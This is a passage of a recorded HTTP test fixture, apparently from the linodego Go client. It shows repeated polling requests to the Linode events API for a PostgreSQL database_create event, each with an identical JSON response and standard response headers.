'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:26:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:26:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:27:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:27:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:27:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:27:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:28:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:28:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:28:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:28:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:29:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:29:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:29:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:29:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:30:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:30:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:30:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + 